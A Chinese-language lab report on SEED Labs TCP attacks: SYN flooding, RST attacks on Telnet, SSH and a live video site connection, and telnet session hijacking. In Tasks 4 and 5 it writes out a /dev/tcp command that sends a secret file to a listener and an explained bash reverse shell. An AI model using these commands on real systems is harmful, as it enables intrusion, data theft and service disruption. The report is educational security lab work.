SEEDLab-TCP攻击
SEEDLab-TCP攻击
任务1 SYN泛洪攻击
SYN洪泛攻击是一种DoS攻击形式,攻击者向受害者的TCP端口发送大量SYN请求,但攻击者无意完成三次握手过程。攻击者可能使用伪造的IP地址,或者不继续进行握手。通过这种攻击,攻击者可以淹没受害者用于半开连接的队列,也就是那些已经完成SYN、SYN-ACK,但尚未收到最终ACK的连接。当该队列满时,受害者无法接受更多连接。
队列的大小有系统级设置。在Linux中,我们可以使用以下命令检查设置:
1 | |
我们可以使用命令 “netstat -na” 来检查队列的使用情况,即与监听端口相关的半开连接数。这类连接的状态为SYN-RECV。如果三次握手完成,连接状态将为ESTABLISHED。 在本任务中,你需要演示SYN洪泛攻击。你可以使用Netwox工具进行攻击,然后使用抓包工具捕获攻击数据包。在攻击进行的同时,在受害机器上运行“netstat -na“命令,并将结果与攻击前进行比较。请还要描述你如何判断攻击是否成功。
该任务对应的Netwox工具编号为76。下面是该工具的简单帮助界面。你也可以输入“netwox 76 –help“来获取帮助信息。
SYN Cookie 对策:如果你的攻击似乎没有成功,你可以调查的一件事是 SYN cookie 机制是否已开启。SYN cookie 是一种防御机制,用于抵御 SYN 泛洪攻击。如果机器检测到它正受到 SYN 泛洪攻击,该机制就会启动。你可以使用 sysctl 命令来开启或关闭 SYN cookie 机制:
1 | |
请在 SYN cookie 机制开启和关闭的情况下运行你的攻击,并比较结果。在你的报告中,请描述为什么 SYN cookie 能有效保护机器免受 SYN 泛洪攻击。
首先在被攻击主机中查看对应队列的最大长度。下图可以看出最大队列长度是512,也就是我们的最多可以保存512个半连接,如果超出512,新的请求将不会被响应。
接着查看此时被攻击主机的队列的使用情况。由图可知我们此时没有处在半连接状态的连接。
接着查看被攻击者的主机IP地址,为192.168.183.128。
接着尝试用攻击者的主机看能否连接被攻击者主机,使用ping指令可见此时可以连通。
发现连接是通畅的后,我们就可以发起SYN洪泛攻击,攻击telnet程序,该程序使用的是23端口。
发起攻击后查看被攻击主机的队列状态,可以看见此时有很多半连接状态的连接。
此时用第三台虚拟机尝试能否连接被攻击主机的telnet服务。由图可见此时仍然可以连接到,这是因为此时被攻击主机的SYN
cookies机制没有关闭,于是此时可以抵御SYN洪泛攻击。
然后将被攻击主机的SYN
cookies机制关闭,再次尝试连接telnet程序,此时超时无法连接成功。
SYN Cookie 能有效抵御
SYN 泛洪攻击,核心原因是它打破了 TCP
原生三次握手的资源预分配机制,采用无状态的连接验证方式,收到 SYN
包不创建队列、不分配资源,通过哈希算法生成SYN Cookie作为 SYN+ACK
的初始序列号,收到 ACK
包后,反向验证合法性,再分配资源,从根源上避免了半开连接对服务器资源的耗尽,完美针对
SYN 泛洪的攻击原理做了防护设计。
任务2 针对 Telnet 和 SSH 连接的 TCP 重置攻击
TCP 重置攻击可终止两台主机之间已建立的 TCP 连接。例如,若主机 A 和主机 B 之间存在已建立的 Telnet(TCP)连接,攻击者可伪造从 A 发往 B 的 TCP RST 报文,断开该连接。攻击成功的关键是正确构造 TCP RST 报文 在本任务中,我们需要发起 TCP 重置攻击,断开两台主机之间已建立的 Telnet 连接;随后对 SSH 连接执行相同攻击,记录并描述观测结果。为简化实验,假设攻击机与受害机处于同一局域网,即攻击者可嗅探到两台受害机之间的 TCP 流量。 我们同时开启三台虚拟机,命名为Attacker,Victim,Monitor。它们的IP地址分别为192.168.0.122,192.168.0.123,192.168.0.124。它们在同一个局域网内,能够相互ping通。以Victim为例,使用ip a查看网络配置,使用ping命令连接Attacker,结果如下图所示。
我们在Monitor上使用telent
连接victim。
在Attacker上执行sudo netwox 78 -d eth0 -f “tcp and host
192.168.0.123”,根据设置的过滤规则,会取监听 Victim 的 TCP
流量。工具会执行:
- 嗅探 TCP 数据包
- 自动获取序列号
- 构造 RST 数据包
- 发送重置 收到了RST报文后,Telnet连接会进行重置,在Monitor的终端可以看到,Telnet连接被强行打断。我们完成了针对Telnet连接的TCP重置攻击。
下面我们进行针对SSH的TCP重置攻击,原理、过程和前面对Telnet的攻击相同。首先在Monitor上使用SSH连接Victim。
在Attacker上执行:sudo netwox 78 -d eth0 -f “tcp and host 192.168.0.123”
观察Monitor上的SSH连接窗口,可以看到,连接被强行打断了。我们完成了针对SSH连接的TCP重置攻击。

任务3 针对视频流应用的 TCP 重置攻击
在这个任务中,我们需要将 TCP 重置攻击应用于当下常用的网络应用 —— 视频流应用,让实验更具实际意义。我们选择一个的视频流网站(以bilibili.com为例),多数视频分享网站会与客户端建立 TCP 连接,用于视频内容的传输。攻击者的目标是中断受害机与视频流服务器之间的 TCP 会话。
为简化实验,假设攻击机与受害机处于同一局域网。受害机与视频流网站的常规交互流程如下:
- 受害机在视频流网站中浏览并选择待播放的视频;
- 视频内容通常存储在专用的内容服务器中,受害机选择视频后,会与该内容服务器建立 TCP 会话,随后开始播放视频。
- 另外,所有攻击数据包的目标均为本地受害机,未指向视频流内容服务器。
我们在Victim中使用浏览器打开一个视频网站。
在Monitor中使用sudo tcpdump -i eth0 host 61.139.2.178
进行抓包,我们监测到了Victim的网络活动。
在Monitor上使用 $ sudo netwox 78 -d
eth0 -f “tcp and host 61.139.2.178” 进行攻击。
可以看到,视频网站连接中断。当我们在Monitor中停止攻击时,刷新网页,连接成功。我们成功进行了针对视频流应用的TCP重置攻击。
任务4 TCP会话劫持
TCP会话劫持攻击的目标是通过向两个受害者之间已经存在的TCP连接(会话)中注入恶意内容,从而劫持该连接。如果该连接是一个telnet会话,攻击者就可以向该会话中注入恶意命令(例如删除重要文件),从而导致受害者执行这些恶意命令。图3展示了该攻击的工作方式。在本任务中,你需要演示如何劫持两台计算机之间的一个telnet会话。你的目标是让telnet服务器执行来自你的恶意命令。为了简化任务,我们假设攻击者和受害者位于同一个局域网中。
本任务对应的Netwox工具编号为40。下面给出了该工具帮助信息的一部分。你也可以输入“netwox 40 –help”来获取完整的帮助信息。你可能还需要使用Wireshark来找出构造伪造TCP数据包所需的正确参数。
如上图所示,克隆两个虚拟机。三台虚拟机分别作为服务器、攻击者、客户端使用。它们的IP地址分别是192.168.56.143、192.168.56.144、192.168.53.145。
现在需要在客户端与服务器之间创建telnet连接作为会话攻击的对象。如上图所示,使用telnet指令成功使客户端连接到服务器。
由于三台设备均处于同一局域网下,因此攻击者可以轻易探测到目标会话的数据包内容。如上图所示,使用WireShark获取到了最近最后一个telnet包的源端口(35994)、序列号信息(2882170293)。

现在,可以对会话进行攻击了,在服务器端home中有一个秘密文件secret,目标是获取到secret文件中的信息。首先新建一个终端,在其中使用netcat监听9090端口,用以获得服务器端发回的信息。之后构造指令cat /home/seed/secret > /dev/tcp/192.168.56.143/9090(读取秘密信息并通过设备发送给攻击者),并将其编码成十六进制形式(便于使用netwox),最后使用netwox,填入所有相关信息,成功在9090端口获得了秘密信息。
任务5 利用TCP会话劫持创建反向Shell
当攻击者能够通过TCP会话劫持向受害者机器注入命令时,他们并不只是想在受害者机器上执行一个简单的命令,而是希望执行大量命令。显然,如果所有命令都通过TCP会话劫持来执行会非常不方便。攻击者真正想实现的是利用该攻击建立一个后门,从而可以通过这个后门方便地继续进行进一步的破坏。
建立后门的一种典型方法是在受害者机器上运行一个反向Shell,使攻击者能够获得受害者机器的Shell访问权限。反向Shell是运行在远程机器上的一个Shell进程,它会主动连接回攻击者的机器。一旦远程机器被攻陷,这就为攻击者提供了一种方便的访问方式。在TCP会话劫持攻击中,攻击者无法直接在受害者机器上运行命令,因此任务是通过会话劫持攻击来执行反向Shell命令。
为了让远程机器上的bash
shell连接回攻击者机器,攻击者需要一个进程在某个端口上等待连接。该程序允许我们指定一个端口号,并在该端口上监听连接。在图4(a)中,netcat(简称nc)被用来监听9090端口的连接。在图4(b)中,/bin/bash命令表示通常会在被攻陷服务器上执行的命令。该命令包含以下几个部分:
“/bin/bash -i”:i表示交互式(interactive),意味着该shell必须是交互式的(必须提供shell提示符)。 “> /dev/tcp/10.0.2.4/9090”:这会将shell的输出(stdout)重定向到与10.0.2.4主机9090端口的TCP连接。stdout由文件描述符1表示。 “0<&1”:文件描述符0表示标准输入(stdin)。这表示shell的标准输入来自该TCP连接。 “2>&1”:文件描述符2表示标准错误(stderr)。这表示错误输出也被重定向到该TCP连接。
总结来说,“/bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1” 会启动一个bash shell,其输入来自一个TCP连接,同时标准输出和错误输出也被重定向到同一个TCP连接。在图4(a)中,当该bash shell命令在10.0.2.8上执行时,它会连接回在10.0.2.4上启动的netcat进程。netcat显示的“Connection 10.0.2.8 accepted”消息确认了这一点。 通过该连接获得的shell提示符现在已经连接到bash shell。这可以从当前工作目录(通过pwd打印)不同看出来。在连接建立之前,pwd返回的是/home/seed。一旦netcat连接到bash之后,在新shell中执行pwd会返回/home/seed/Documents(对应/bin/bash启动时所在的目录)。我们还可以观察到shell提示符中显示的IP地址也变成了10.0.2.8,这与服务器机器的IP地址相同。netstat的输出也显示了已建立的连接。
与任务4相同,首先在客户端与服务器端建立telnet连接,同时攻击者启动WireShark进行监听。如上图所示,检测到最后一个telnet包的端口(35995)和序列号(25539252677)。
最后实施攻击流程。首先将构造反向shell的攻击指令/bin/bash -i >
/dev/tcp/192.168.56.144/9090 0<&1
2>&1编码为16进制,然后将相关参数填入指令,如图9所示,在9090端口获得了反向shell。